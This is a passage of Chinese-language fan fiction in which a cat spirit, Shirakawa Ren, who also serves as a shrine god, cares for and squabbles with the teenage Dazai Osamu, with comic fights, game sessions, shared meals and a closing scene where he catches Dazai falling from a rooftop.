那少年住的地方很偏僻也很狭小,像猫猫都会喜欢的纸盒子,和白川莲想的一样。
但无奈,适合幼猫的纸盒子不一定适合大猫,于是硬挤进小盒子的大猫咪半点转不开身,不是碰倒了这个就是踩翻了那个,最后把少年人本就一团乱的小盒子踩得越发乱七八糟。
人类幼崽对大猫咪折腾的这一切只是冷眼看着,像是非常毫不在意的样子……只除了话语毒舌且一阵见血:
“你真的是猫而不是狗吗?”
白川莲:“……”
白川莲:!!!
这一刻,大猫全身的毛都要炸起来了。
侮辱!
这是攻击力超强的侮辱!
人类,收回你的话语和眼神,像他这样漂亮端庄的动物,不是猫还能是什么?!
太可恶了,竟敢这样吐槽他。
他不过是体型大了一点,毛发膨胀了一点,视角高了一点,所以不小心踩翻了一点东西而已……这又怎么啦?这也值得说吗?
人类,你以为你得到的是谁的青睐?
是猫!
是尊贵的猫猫大人的青睐啊!
于是,几乎有一人高的大猫恼羞成怒,一爪子把少年人踩倒,生气地挠挠挠,把少年人的衣服当作了猫抓板,抓得乱七八糟。
被大猫一爪子按倒在地的少年太宰,最开始并没有恐惧,依然是那副冷漠冷酷的样子,但随着生气大猫开始挠他衣服时,他终于第一次变了脸。
“什么?你这家伙——你真的是猫啊?”
白川莲:呵,不是猫还能是狗吗?
“等等!不行!不许抓我的衣服!裤子也不行!”
白川莲:这回知道猫大人的厉害了吧!
“你!都说了不准抓我的绷带——可恶的猫!!”
白川莲:就要抓!全都扯破!本猫大人有的是力气和手段!
就这样,气鼓鼓的大猫一口气将人类家里的绝大部分东西——主要是人类的衣服和绷带全部扯破,把年纪轻轻就一把年纪的幼猫气出符合他这个年纪的小鬼的炸毛与大叫后,没有半点愧疚之心地一甩尾巴,溜了。
而直到溜回神社后,白川莲才发现事情的发展和他最初的预期不太一样,原本想要暂时停留在现世直到把人类拐回神社的他,竟然又早早回到了神社。
这样一来,他的捡人计划什么时候才能完成?
有一瞬间,白川莲的心情其实是颇为沉重的。
可猫会反省自己吗?
不可能!
所以白川莲很快得出结论:猫好,人坏。
明天继续去给人捣乱!
只不过,第二天,意外的是,当白川莲再次来到人类幼崽的纸盒子里时,却发现这个幼崽生病了。
他躺在简陋的床榻上,脸色潮红,体温较正常人类的温度略高,睁开眼看向白川莲的时候,几乎像是有些神志不清。
白川莲一愣,心情有些复杂。
“为什么?”白川莲无奈叹气,“你想要知道什么,直接跟我说不就行了,为什么一定要通过折腾自己的方式呢?”
人类幼崽侧头看他,看似不太清醒了的眼里一片清明。
“难道你不是对此乐见其成吗?”
白川莲一呆,感到十二分的冤枉。
猫猫只是想要人类快点死了跟他回神社,又不是想要人类把自己折腾得乱七八糟、半死不活。
而且,明明是人类为了试探猫猫,这才顺水推舟,故意吹了一晚上的冷风,把自己搞到生病的,怎么可以倒打一耙、反过来责怪猫猫呢?
这个人类幼崽,真的好坏哦!
猫咪有点焦虑地咬着自己的尾巴,心里有过片刻的动摇。他想,像太宰这样满肚子坏心眼、主意特别大、特别擅长折腾的幼崽,是不是不适合捡回神社?
反正,现世的人类这么多,也不一定非要捡这个幼崽,对吧!
可白川莲到底是一个好猫,没忍心把生病的幼崽一个人扔在漏风的纸盒子里。
于是,在经过郑重思考后,白川莲做下郑重决定:先帮这个人类幼崽养好病,再考虑捡另一个幼崽的事。
而人类幼崽要如何养病?
不知道……
那就买书学习吧!
这一天,白川莲购入了自己猫生中的第一本亲子书籍,《养儿秘方》,并严格按照书上写的执行。
比如说要给生病的幼崽盖好被子。
“……盖被子的意思不是指把人裹成一团……够了我说真的够了,别再加被子了,好热啊!!”
比如说要给生病的幼崽做病号餐。
“……我第一次见到这样可怕的病号餐,其实你是想要毒死我吧?为什么你不干脆给我做一份老鼠大餐,反正你——我不是真的让你去抓老鼠!!!”
还比如说盯着生病的幼崽好好睡觉。
“我真的睡了很久了,我要发霉了,让我出门,我已经好了我真的好了,不准再让我睡过去……可、恶……的猫……zzzz”
诸如此类。
虽然,人类幼崽在养病的过程中半点不配合,十分折腾猫,非常让猫操心,还半点不懂事,天天嚷嚷着什么在被猫用被子霸凌、用食物虐待,还嚷嚷着不准猫动他的纸盒子之类的话。
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甚至有时候气急了,他还会直接扑到猫的身上,威胁猫要把猫的毛全部拔光。
白川莲:呵,能拔下一根毛都算你厉害!
就是在这样的鸡飞狗跳下,猫花了整整一个星期,到底是把人类幼崽照顾好了。
猫擦了把汗,大大松了口气。
他觉得,这个幼崽的折腾程度,真是打消了猫心中的所有对养人类的美好幻想。
天啦!谁能告诉猫养个人竟然会这样麻烦啊?!
这样看来,日后他还是别想着什么捡人不捡人的事了,老老实实在神社睡大觉吧!
于是,在人类幼崽痊愈的那一天,趁着人类幼崽还因为他的法术而昏睡,白川莲留下纸条,在纸条上写下他赶时髦办的电话号码后,便果断离开了。
只不过,白川莲虽然留下了加持神力、沟通彼岸的号码,但他觉得,按照那个人类幼崽的性格来说,他应该一辈子都不会联系他了。
这不仅是因为那个人类幼崽超讨厌他,更是因为人类幼崽是个非常擅长舍弃的人——
凡是是不能稳定进行的关系、不能长久留存的友谊、不能持之以恒的欢喜,他全都会用可怕的理智将其斩断、果决舍弃。
是那种把断舍离做得非常极致的人。
所以,当人类幼崽察觉到白川莲是属于常世的妖魔、知晓二者并不属于一个世界后,人类幼崽是不可能再与白川莲有联系的。
白川莲是这样想的。
可出乎意料的是,那个人类幼崽竟然真的断断续续有邮件发来。
装作超不经意的样子。
并且,每一封邮件几乎都是自杀失败,让白川莲去捞人的。
这把原本已经绝了捡人念头,决定要心如止水封心锁爱的猫,吊得是七上八下,忐忑不安。
在又一次的捞人活动中,白川莲苦恼极了,忍不住提出问题:
“太宰君,你到底是如何做到身体这样柔弱的同时生命力又如此顽强呢?”
明明是个这样柔弱的人类幼崽,就连多吹一会儿风都会生病,为什么就是自杀屡不成功呢?
幼崽幽幽地说着怪话:“这件事难道不该问你吗?”
问猫?
猫沉吟了一会儿:“如果问我的话,我总感觉哪怕这世上所有人都死了,你都会好好活着呢。”
毕竟好人不长命,祸害遗千年来着。
祸害一听,顿时炸毛,心思恶毒地向一只美丽的猫疯狂泼水:“不准对我做这种恶毒诅咒。”
被打湿了的猫也炸毛了,喵嗷一声,再次把人类幼崽踩住,抓抓抓挠挠挠。
“什、等等!好痒……噗,不准挠我!”
“不准抓我裤子!绷带也不准抓!!”
“蠢猫!可恶,蠢猫!听到没有,蠢猫!!”
白川莲:╭(╯^╰)╮
6. 006 ^w^
就这样,猫捞人人气猫的日子,缓缓过去了。
在人类幼崽十五岁那一年,幼崽突然生了一场重病。
是真的病了,而不是装病,也不是特意把自己折腾病了以达到某个目的。
而又因为这个幼崽实在太可怜了,好心的猫便不辞辛苦,再次来到现世,照顾了幼崽一夜,哪怕幼崽第二天一早就不辞而别,猫也没有在意。
因为猫咪就是这样一撒手就不见的啦!
等猫想你的时候,他自己会回来的。
果然,在这件事之后的不久,白川莲又一次被调皮孩子叫去现世捞人了。
这也算是小猫想念大猫、想要跟大猫贴贴的一种委婉表示。
猫妖白川莲可太懂了。
不过,在白川莲回程的路上,奇怪的事发生了。
他竟然收到了来自小猫崽,不,来自人类少年的邮件。
【你明明更习惯人类的形态吧?为什么在我面前你一直是猫的样子?】
白川莲有些迷茫:这……有什么话是不能当面说,一定要等人走了才能说的?
人类可真奇怪。
正对着手机思考着,一个来现世溜达的无名神飘过,斜睨一眼,嘲笑道:“哟,是猫妖啊,还没放弃寻找信徒的想法吗?要我说,你学那个五元神就挺好,别老是端着架子放不下,否则哪怕你有神社,最后也是——”
“你闭嘴。”
猫妖恼了,把这无名神一脚蹬回常世。
结束了这个小插曲后,白川莲站在原地,继续思考人类的问题。
为什么在人类幼崽面前他一直保持着猫的形态?
是因为想要迷惑那个人类,让他以为他的异能力对来自彼岸的妖魔也是有效的吗?
或许吧。
还是因为看到了那个年轻人对跟人类建立联系这件事充满了轻蔑与反感,想要用异类的身份淡化他的抗拒?
有可能。
但是,对白川莲来说,或许只有一个原因。
【因为,感觉你会害怕。】
自称看不到未来的人,其实是看到了未来。
就像是拒绝他人靠近的人,并不一定真的讨厌与人交往,而是不愿迎接一定会到来的分别。
可是,如果白川莲一直是猫的话,那就没关系了。
白川莲看着屏幕,一个字一个字删除后,重新打字。
【因为我本来就是猫,人类只是兼职。】
所以当脱下这份兼职后,猫会伸一个懒腰,然后像风一样路过你的生命。
当然,有时候他也会像云一样在你的头顶停留,冷不丁还会调皮地在你头上降下大雨,把你淋湿,把你的生活搅得乱七八糟。
但最后,猫咪总会离开,而人类只需要怀着与猫咪相遇过的这份惊喜,继续往前走就好了。
不会悲伤,不必怀念。
只要怀着对再次相见的期待就好了。
这就是猫咪啊!
信息发送完毕后,手机的动静安静了下来。
白川莲等了一会儿,见那个人类幼崽没再回复,便把没动静的手机丢回口袋。
白川莲很快忘了这件事,而人类也没有再提。
直到人类十六岁的这一年,白川莲接到了少年人郑重其事的电话。
太宰治:“你想看来自俄罗斯的老鼠吗?”
白川莲:“……啊?”
来自俄罗斯……的老鼠……
白川莲没想到这两个词组是怎么组合起来的。
并对它们是如何组合起来的这件事非常好奇。
于是,原本在榻榻米上呼呼大睡的白川莲一骨碌爬起来,瞬间变成了一只普通大小的猫咪,轻灵跃过生死界限,来到现世。
白川莲的原型是非常美丽的。
这绝对不是白川莲的自夸,而是非常客观的描述。
白川莲作为一个继承了神社、兼任了神职的妖魔,他身上既有着神灵的高洁与神圣,又有着妖魔蛊惑人心的魔魅。
所以,在白川莲接手神社后,香火最鼎盛的那些年里,来参拜他的不仅有人类与猫,甚至还有许多其它慕名而来的妖魔,光是在神社中活动的神职人员,就几乎可以比拟七福神稻荷神这样的大神社了。
也就是后来……算了,这不重要。
总之,哪怕白川莲的神社如今是没落了,但他的神力与妖力仍在,所以,即便白川莲的本体只是一只普通的长毛白猫,眼睛也是非常普通的黄色,可当他踩着猫步招摇过市时,他猫身自带的神力与魔魅依然惹得每个人类都移不开眼,下意识停下脚步,在口袋里左摸右摸,试图找到零食向猫猫神上供,以求得猫猫神的青睐一眼。
猫猫神:骄傲.jpg
来到约定地点后,猫猫神避开痴汉的人类,独自站在高处,一边等待太宰的到来,一边俯瞰风景,姿态格外端庄秀丽。
很快的,猫猫神放养的人类到来了。
那个年轻人类长得格外出众,哪怕他大半张脸都包裹在绷带里,可招蜂引蝶的功力依然不是盖的。
所以,当人们的视线开始不由自主地在某处聚焦时,白川莲也很快随着众人游移的视线,落在了太宰治的身上,对上了这个少年人的视线。
茶褐色的眼睛,毛茸茸的头发,冷淡倦怠的表情。
是白川莲非常熟悉的太宰治的神态。
但,也不知道是白川莲的错觉,还是这一天的阳光太好,将太宰治脸上的绷带照得太亮……又或者他干脆就是老眼昏花了。
有那么一瞬间,在与那个人类对视的那一眼,白川莲几乎要以为这个人类的眼眸里也闪着碎光。
可只是一眼,太宰治就低下头,拿出了手机。
嗡!
白川莲扒拉出自己毛发里藏着的手机,摁亮一看。
【决定了,我要去吃大餐!】
白川莲:??
不是,人类,你忘了你叫猫大人出来是干什么的了吗?
太宰治的邮件发得飞快。
【听说附近有一个新开的美食店,里面的海鲜非常好吃。】
唔,海鲜餐厅啊……
猫猫神看着邮件,表情凝重……地舔了舔嘴巴。
当然,这肯定不是因为馋。
白川莲不是那种贪恋人间美食的猫,这么多年来,他什么好吃的没吃过?甚至他还曾经在国外跑了许多年,就是为了吃美食,所以他肯定不是因为馋。
总之,那个,先问一下有什么菜好了。
白川莲想要打字,却发现猫咪的肉垫并不适配人类的电子设备。
而更让白川莲急上火的是,那个年轻人类在发了这两封邮件后,就随意向屋顶上的他挥挥手,转身准备吃大餐去了。
好冷酷!
好无情!
怎么这样!!
白川莲也不寻思着回复了,把手机往毛里一揣,猫爪一蹬,就横飞了一条街的距离,来了个泰山压顶,在太宰治的脑袋上稳稳落下。
“呜哇!”
太宰治哪怕早有准备,却也被想一出是一出的猫压得一个踉跄,险些跌倒在地。
“快下来!蠢猫,你重死了!”
切,你说下去就下去吗?
白川莲不语,只一味蹲在人类头上当猫帽。
眼看甩不掉白川莲了,太宰治发出了一声像是挫败的叹息。
“你干什么?一副我是坏人的样子。笨蛋,可不是我想要特意甩开你,而是那个餐厅不能带宠物。好了,你乖乖在外面等我吃完饭就好了,其它的事吃完再聊。”
白川莲听得生气,捏着猫猫拳在人类脑袋上就是邦邦两下。
竟然想要甩开猫一个人吃好吃的?竟然吃好吃的不带猫?
人类,你的良心在哪里?!!
“等着。”
给了人类一个眼神后,白川莲闪身跳进了小巷,再出来时已经变成了人形。
他有一头如云堆雪的白色长发,带着无声的魔魅,每一根都像是有生命一样,在白川莲的身后轻轻飘荡,对所有见到的人都发出无声引
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诱,似乎在呼唤着人将手放上去,将人的身与心都交付出来,一同陷入那无声的雪色里;
他还有一双黄澄澄的眼睛,颜色如同最不可预测的野兽一样冷酷,但又带着好似能看破人心的神性,目光流转间让人情不自禁想要后退,想要为这双眼睛的主人让出道路。
当然,最引人注目的,应该还是他的脸——
是英俊的吗?还是帅气的?又或者是美丽的?
不知道。
非常奇异的是,除了“这个人真好看”之外,人们竟然再难以对白川莲生出更多记忆。
甚至就连这微弱的记忆,都会在短短数天内遗忘。
这也是白川莲放心大胆在现世行走的原因。
“好了!”
白川莲兴冲冲走来,仗着自己的身高,俯视某个满肚子坏心眼的人类。
“现在你可没话说了吧?!”
白川莲背着光,抱着手,微微俯身前倾。
太宰治看了白川莲一眼,看到白川莲的白色长发像一条安静的河流,轻轻地、温柔地从白川莲肩上滑落,发尾若有似无地在自己手背上拂过,美丽,并暗藏险恶。
然而,那双本该是最危险的猫瞳,此刻却只是瞪圆了,直直看他,露出了孩子气的恼怒与得意。
傻。
就和他想的一样。
太宰治收回目光,长长的眼睫轻轻下垂,并没有露出更多表情,似乎并不在乎白川莲的模样,也不在乎猫执意要蹭饭的举动。
但白川莲却感到,这个少年现在的心情似乎还挺愉快的。
白川莲:怎么突然这么高兴?
人类可真难懂。
太宰治朝餐厅走了两步,发现白川莲没有跟上,便停步侧身,对白川莲像是招呼小动物一样,嗓音平淡道:“来。”
白川莲:“……”
白川莲斜睨了这坏心眼小鬼一眼。
好嘛,猫蹭你一顿饭还要被你从细节PUA?确定一下主从?
太坏了。
白川莲走上前,体温比人类要高上许多的手指在太宰治脖颈处迅速地、轻柔地拂过。
烫!
几乎瞬间,太宰治就反应过来,为那微妙的触感和滚烫的温度头皮发麻。
而还没等他躲开,下一个感觉又传了过来。
凉!
太宰治一摸,发现自己脖子上的绷带一空,冷风肆无忌惮地在那一处久不见天日的皮肤上游荡。
而当太宰治愕然抬眼看去时,他见到某个蠢猫正眨着猫眼看他,轻晃手上不知什么时候取下的绷带,在确定太宰治看到后,得意地塞进口袋,莫名骄傲的脸上做出嘴型:
“这、是、惩、罚。”
什、么?
这个……蠢猫……
他在说什么?!
太宰治脑中有瞬间空白,沉默片刻,用力闭了闭眼。
“……蠢、猫!”
好一会儿后才从口中挤出的咬牙切齿的音调里,白川莲回头看了一眼,脚步一顿,奇怪眨眼,向人类伸出手。
但被莫名反应格外激烈的人类一把拍开。
白川莲困惑:“太宰君,为什么你的脸——”
太宰治:“闭嘴!”
“还有你的脖子——”
“都说了闭嘴,蠢猫!”
“……啧!”
“也不准啧!”
“哇,太宰君,你管得好宽啊!”
“蹭饭的家伙在这里抱怨什么呢?”
“……”
切!
坏心眼的人类。
就让你暂时得意一下好了,如果一会儿的饭不好吃,你就等着猫猫的报复吧!
最后。
饭很好吃。
老鼠没瞧见。
但欣赏了一场笼罩城市的大雾。
不过,这些都不重要。
重要的是,从这一天之后,有什么东西微妙地改变了。
那个一直被白川莲放养的人类,开始与他联系频繁。
7.007 (0_0?)
在最开始时,人类与白川莲联系的借口,还是老一套的自杀失败,让他来现世捞人或者提点比较好用的建议。
而当白川莲被骗到现世后,那个以稀奇古怪的姿势躺在地上等人的年轻人就会跳起来,拍拍衣服,一边毫不吝啬地展现他顽强可怕的生命力,一边轻描淡写地说:
“咖喱饭?”
“草莓麻婆豆腐。”
“……肉蟹煲。”
“哇!狡猾!你明明都决定好了竟然还装作征求我意见的样子!”
“是你的提议太可怕了。”
“怎么会!明明这是人类菜单上的食物,你们自己都会吃的东西哪里可怕啦!”
“闭嘴,走了。”
太宰懒得听白川莲的喵喵喵,拂开白川莲随风飘过来的头发,转身就往早就订好的餐厅走去。
但是,慢慢的,也不知道从什么时候开始,太宰治连装都懒得装了。
【好无聊,过来跟我去吃饭。】
吃饭好耶!
白川莲开心地去了。
【好无聊,过来陪我打游戏。】
游戏……还好?
白川莲迟疑地去了,然后两人在游戏厅里大吵大闹。
“可恶的猫!竟然敢在我面前作弊!”
“切,谁作弊了,菜就多——哇啊!你竟然往操控盘上泼水?太卑鄙了!”
“呵,什么卑鄙,这叫计谋,菜就多练。”
“只会用盘外招的卑鄙人类!”
“连计策都不会用的蠢猫!”
“卑鄙!”
“蠢猫!”
“卑鄙!!”
“蠢猫!!”
一猫一人总是在这种事上吵得非常上头。
某一次,他们甚至还大打出手。
当太宰治掐着猫身的白川莲的脖子,白川猫则蹬着太宰治的肚子,一人一猫在只有他们的游戏厅里满地打滚,猫毛乱飞时,非常不巧的,被路过执行任务的织田作之助看到了。
这一瞬间,太宰治僵硬原地,脑中空白,几乎要为自己惨痛消逝的形象原地石化。
而织田作之助则沉吟两秒,“看来太宰果然是猫派啊。”他后退一步,贴心关上了游戏室的门。
“和同伴玩得开心。”
太宰治:“……”
不是?等会儿,织田作你快回来!
难道在你心里他太宰治竟然跟这只蠢猫是同一种生物吗?!
白川莲:喵?
总之,每一次玩游戏到最后,虽然总会发生猫猫大战,但过程大致还算愉快。
可有些时候,人类实在是过于蹬鼻子上脸了。
而到了这时,自然就需要猫猫神出手好好教训。
比如说——
【好无聊,过来让我玩。】
白川莲盯着手上的邮件,露出震惊神色。
呔!可恶的人类!
你在对猫猫神说什么大逆不道的话呢?
猫可半点也不忍他,在看到邮件的第一时间就化作原型,冲进年轻人的小盒子,一个猫咪压顶把坏心人类踩倒,捏着猫猫拳就开始冲年轻人的脑袋邦邦邦。
而到了这种时候,这个坏心人类就会一边发出哇哇大叫,一边倒打一耙地指责猫:
“哇!你竟然强闯民宅!你堕落了白川,你再也不是我心里那只漂亮优雅的猫了,你已经和偷家的狗溜门的老鼠是一个等级的生物了!”
白川莲听了,冷酷一笑:“呵,你在说什么呢?什么强闯民宅?猫看到的都是猫的。”
“天呐,是强盗猫,我们没救啦!救命啊,救命啊!”
“呵,叫吧叫吧,你叫破嗓子也不会有人来救你的,人类!”
……
可能是白川莲降临现世的频率真的太高了吧,这一天,白川莲竟然又被那个在横滨满地溜达的无名神逮住了。
“哟,又是你啊,猫,看来你真的走出神社开始与人类交流了呢。
“真羡慕你的心大啊,明明神社空荡荡的一个信徒也没有,你竟然也一点儿不着急,还随随便便与人类结缘,你难道忘了不可结缘,徒留寂——”
噗通。
白川莲又是一脚把这唧唧歪歪的无名神踹回常世。
猫想干什么就干什么。
要你管啦!
……
就这样,在猫养的人类的十六岁这一年,短短三个月时间不到,白川莲就被人类叫出了二十来次。
差不多是每四五天就会被人类叫去玩弄一次的频率。
而在这样高频率的游玩下,白川莲最喜欢的,果然还是吃饭和打游戏。
可惜人类对吃的并不热衷,所以白川莲被叫出门最多的理由,还是打游戏。
这不,人类又发来了邮件。
【游戏,来】
白川莲兴冲冲地去了,结果落地点却是……人类的小盒子里?
“不去游戏厅吗?”
白川莲扫了这个小盒子一眼,看到了小盒子里新添置的游戏机,惊讶发问,心里有些忧愁,不知道这挤挤挨挨的小盒子能不能容纳两只猫在打完游戏后再打架。
太宰治瞥了白川莲一眼,阴恻恻地哼了一声,像个阴暗爬行满腹怨气的水鬼。
“你以为呢?”
白川莲歪头:“喵?”
太宰治懒得跟猫生气,丢给猫一个手柄:“好了,快点过来,这次绝对还是我赢!”
哦?这么自信的吗?
猫心中顿生警惕,扫视了周围一眼,发现两人的座位旁边竟然摆了零食和水。
猫心中冷冷一笑:呵,果然有诈!
这个坏心人类,就压根不是这种贴心的性格!
——就让猫来看看你究竟打算干什么吧!
猫这样想着。
猫骄傲地上了。
猫震惊地输了。
“胡说!怎么可能?!”
白川莲不可置信。
“我怎么可能连你都赢不了?”
太宰治开了一瓶水,声音上扬:“都说了你很菜。”
坏心人类狡猾地向猫咪隐瞒了“机制”、“特攻”、“平衡”等游戏宅专业问题。
并且,他还毫不心虚地向无辜猫咪持续输出:“像你这种只会喵喵叫的笨猫,是不可能赢得了我的!”
白川莲:信你有鬼!
白川莲毫不气馁,不服气地再来了一次。
但这一次依然是输。
白川莲:“……再来!”
第三次,白川莲甚至还头铁地换回了第一回合的角色,誓要用这个人物一雪前耻。
但依然,即将即将迎来失败!
眼看自己的人物血条狂降,而坏心人类操控的人物则疯狂放大招,白川莲在心急如焚下,脑袋瓜里突然冒出了一个好点子。
——盘外招!
没错,就这样!
白川莲蓦地侧身,在那个坏心人类的脸上一亲。
MUA!
比人类体温高得多的温度就这样落在薄薄的绷带上,太宰治瞬间僵在原地。
他第一反应:我
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……被猫亲了?
他第二反应:那个蠢猫,竟然为了赢就来亲我?!
就为了一局游戏?!
这一刻,太宰治甚至来不及细想自己对白川莲的这一举动是抗拒反感又或者是别的什么,心中的心情就已经统统转化成了怒火。
蠢猫!
谁教你这么用“盘外招”的?!
为了一局游戏就随便亲别人?
可恶的蠢猫!!!
太宰治身上怒火以肉眼可见的速度蹭蹭暴涨,脸色越冷,手下的按键就越用力,誓要把白川莲的游戏角色——最好是蠢猫本猫——按在地上一顿暴揍!
于是,屏幕里,那个刚刚还翻身做主神气活现的游戏角色,又被人按着打了。
白川莲大急,想要再来一次“盘外招”,但冷酷人类眼疾手快,一把按在白川莲脸上。
可是——
按过猫的人都知道:猫是人想按就能按住的吗?
猫想亲人的时候,人跑得掉吗?
于是,第二次的。
MUA!
又是一次亲亲。
并且这一次更过分了。
因为那恶猫竟然直接亲在了人的脸上!
太宰治:“……”
太宰治觉得自己的手指有些发抖。
他想,这绝对是因为被蠢猫气过头导致的。
绝对!
于是冷酷人类想也不想,直接抄起身旁的水倒在蠢猫的脑袋上——事实上,太宰治准备的水本来就是打算这么用的。
而果然,就像太宰治想的那样,被倒了一脑袋水的猫立即就炸毛了。
但不同于太宰治想象的是,猫并没有因这场炸毛而在游戏上节节败退。
当然,猫也没有立即爆发小宇宙,转败为胜。
因为——
这只蠢猫竟然直接丢下游戏手柄,向他扑了过来!!
“可恶!太恶毒了,人类!连我这样漂亮的猫你都忍心泼水?!”
白川莲就如同炸毛的猫咪一样喵喵叫着。
可他的左手牢牢困住了太宰治的手,在太宰治反应过来之前一把拽过太宰治的外套,按在自己脑袋上一顿乱擦,像是要把自己脑袋上的所有水渍全部蹭到太宰治的外套上。
并且,也不知道有意还是无意,白川莲在拽太宰治外套的时候,竟还从太宰治身上不知哪儿拽出了一截绷带,和外套一块儿按在头发上。
擦擦擦,擦擦擦,擦擦——
“呜哇!”
没等白川莲擦完,不知道为什么莫名大怒的人类就向白川莲扑了过来。
白川莲抬眼看去,只见此刻,太宰治脸上的绷带不知道什么时候散开了,松垮垮地落在脖子上,露出了老是被遮挡住的另一只眼睛。
而那根原本应该缠在脖子上的绷带,此刻更是不翼而飞……不,或许不能用“不翼而飞”这个词。
因为……
那根原本该缠在太宰治脖子上绷带,这会儿不正挂在白川莲的头上吗?!
太宰治双目喷火,咬牙切齿,手掌莫名有些发抖,一时间竟说不出此刻到底是猫的体温更高,还是自己的体温更高。
当然,太宰治是绝对不会、也绝不允许自己去思考这件事的。
所以他只是坐在那个空有人形却比猫还要惹是生非的混蛋的腰上,双手用力掐住那家伙的脖子。
太宰治:“我杀了你!我今天一定要杀了你!!蠢猫!!!”
白川莲:“哇啊,杀猫啦!杀猫啦!喵喵喵喵!救命啊!!”
8.008 ∑(O_O;)
超委屈的小猫咪被超愤怒的人类丢出了门外。
而同时被丢出门外的,还有被恶猫拽去擦头发的外套、被猫拽走后又不小心缠在脑袋上的绷带。
甚至是被猫拽下挂在人类自己脖子上半掉不掉的那条绷带,都被人类统统丢在了猫的身上,一件一件的,砸得猫不停地晃脑袋。
“快滚!”
丢完衣服,再丢下这句语气超恶劣的话,人类“砰”地摔上了门。
白川莲茫然眨眼,低头看着自己手里乱七八糟的衣服,奇怪地伸手挠门:“你把衣服给我做什么?”
门内的声音冷漠响起:“谁给你了?给我丢掉!一身的猫味。”
白川莲吓了一跳:“猫味?怎么可能!!”
他可是兼职妖魔的神灵耶,在常世和忘川旁住了几百年了,怎么可能有味道!
污蔑!
绝对是可耻的污蔑!!
白川莲这样想着,拽着自己的衣服嗅了嗅。
没有味道。
他又拽着自己的头发嗅了嗅。
没有味道。
最后他拿起人类的衣服和绷带嗅——
“蠢猫!!!”
不知道什么时候打开门的人类,劈手就夺下白川莲手上的衣服。
白川莲抬眼看去,就见到那个年轻人站在门内,苍白的皮肤浮起红晕,怒视白川莲的眼睛生动又可爱。
甚至就连年轻人的头发和衣服,这会儿都乱糟糟的,衣服下的绷带也是一团混乱,看起来非常像是在屋子里脱衣服换绷带,但换到一半后想起了什么,立即套上衬衫出来抢救了。
白川莲锐评:可爱,越发像是滚了满身毛线团的猫崽了。
白川莲下意识想去扯掉猫崽身上的“毛线团”,但被无情的猫崽用力拍开。
面对猫崽火冒三丈的脸,白川莲眨眨眼,歪头卖萌:“太宰君,你动作好快哦,超水平发挥耶。”
猫崽,不,太宰治听了,冷笑一声,刚想开口说你这蠢猫这时候再怎么说恭维话也没用的。
但下一秒,白川莲话锋急转直下:“如果太宰君你平日里在面对中也君的时候也这么快的话,肯定不会天天被他揍了。”
太宰治:“……”
太宰治冷脸摔门。
砰!
白川莲挠挠脸,小声嘀咕:“哇,好像真的生气了欸……”
三秒后。
白川莲敲敲门,扬声喊道:“真的生气了吗,太宰君?”
半分钟后。
白川莲穿门而过,在太宰治冷酷注视下坐在地上,可可爱爱地小声喵喵:“真的生气啦?”
一分钟后。
白川莲凑到太宰治的脸边上,歪着脑袋,从下往上看他:“真生气了吗?”
半秒后。
白川莲以迅雷不及掩耳之势,MUA地一下亲在太宰治的额头上。
“别生气嘛,我开玩笑的,大不了下次中也君打你的时候我帮你打回去啦。”
一边说着,白川莲一边看着太宰治,目光期待。
毕竟,额头——这可是封印猫猫愤怒和动作的神奇之地!
一般来说,围绕在白川莲身边的猫咪在生气后,一般都只要亲亲对方的额头,这件事就差不多过去了。
白川莲想,用这个动作封印一下人类的愤怒,应该也是可行的吧?
但——
太宰治:“……”
太宰治感受着自己额上残留的温度,甚至是残留的触感,忍不住闭了闭眼。
他深深吸气。
再深深呼气。
决定了——
今天必要杀猫!!
“谁让你亲我的?以后不准亲我!也不准随便亲别人!!听到没有!!!”
“哇啊!杀猫啦,杀猫啦!救命啊!!”
·
被猫崽敲了满头包后,温柔端庄且尊老爱幼的大猫,一边打着哈欠一边走在回神社的路上。
但这一次,竟然又遇到了那个阴魂不散的无名神!
白川莲二话不说,抬脚要踹。
可那无名神往后一跳,哇哇大叫了起来。
“等等!等一会儿,白川!我是真的有话要跟你说!”
哦,竟然连他的名字都知道?
白川莲扫了两眼,没认出来。
那就是不重要的小卡拉米。
不过看在这无名神能叫出他名字的份上,白川莲还是收了脚,决定给这个无名神一个狡辩的机会。
无名神这才松了口气,说:“白川,我说啊,你到底准备什么时候才去认认真真地寻找信徒?你应该知道,只有拥有信徒的神,才是真正的神灵,而没有信徒的神,下场也不过只有——”
“等等……”白川莲听得奇怪,抬手打断,“你这段时间一直蹲我,就是为了和我说这些话?”
无名神点头。
白川莲惊诧:“你管我这些干嘛?我未来怎么样跟你有什么关系吗?”
白川莲是真的为了这件事感到困惑。
但落在旁人耳里,却似乎变成了一种嘲讽。
“不识好人心!”无名神瞬间黑了脸,用力瞪了白川莲一眼。
但在白川莲瞪回来的时候,他又从心地开始陪笑。
“这个,咳,猫啊,我知道像你们这样的猫,总是喜欢自由的,不喜欢别人对你指手画脚……可我不是在指手画脚哦,我是在关心你呀。
“你可能不太清楚,对神来说,一个能够记住你的信徒真的是很重要的,你这些天来一直往现世跑,应该也是为了这件事吧?既然都开始找信徒了,你最好还是再认真一点——”
“不是哦。”白川莲打断,“不是为了信徒。”
无名神一怔:“不是?”
白川莲平静道:“我不会寻找信徒的。”
无名神有些着急,追问:“为什么?”
白川莲说:“因为我对人类没有期待。”
这一刻,无名神不知道想到了什么,蓦然怔立原地,口中讷讷,没有再追着白川莲絮絮叨叨了。
礼貌大猫等了一会儿,见无名神依然魂不守舍的样子,觉得他应该没有更多话要说了,于是转身消失。
——啪嗒。
随着白川莲身形如烟雾散去,有什么东西从他身上掉下,跌落在枯败的树叶中。
无名神这才回神,定睛一看,忍不住嘀咕:
“奇怪,这只猫身上怎么这么多这种东西……”
真是的,都掉多少个了。
·
又是一周后,白川莲又收到了人类的消息。
而这一次的消息更短了。
【来。】
哇塞。
这个人类,是连骗他出门的借口都不想想了吗?
白川莲出门了,准备看这一次这个人类又要做什么幺蛾子。
但令白川莲没想到的是,他一降临现世、一来到那个人类的身旁,对方的身影就消失了。
白川莲一怔,站在猎猎风中,低头看向天台下方,望到了一个正急速坠落的身影。
白川莲看到了那个年轻人类的眼睛。
那双像是枯叶一眼寂静的眼眸……是在笑吗?
此时此刻,这个一边坠落一边凝视着他的人类,脑袋里究竟在想什么呢?
坠落的时间似慢实快。
在那个人类落地前的最后一瞬间,在楼下人群的惊呼声中,白川莲化作轻雾在天台消散,下一瞬又在地面凝实。
他伸出手,无形的力量化作柔和的清风,从他掌中涌出,轻柔的、缓缓地接住了那个人类。
“太宰君。”
白川莲低头看自己怀里的人类,又抬头看了看楼顶,再低头时,眼里浮动着困惑。
“你喜欢玩这个?”
那个年轻人没有回答,只是看着白川莲。
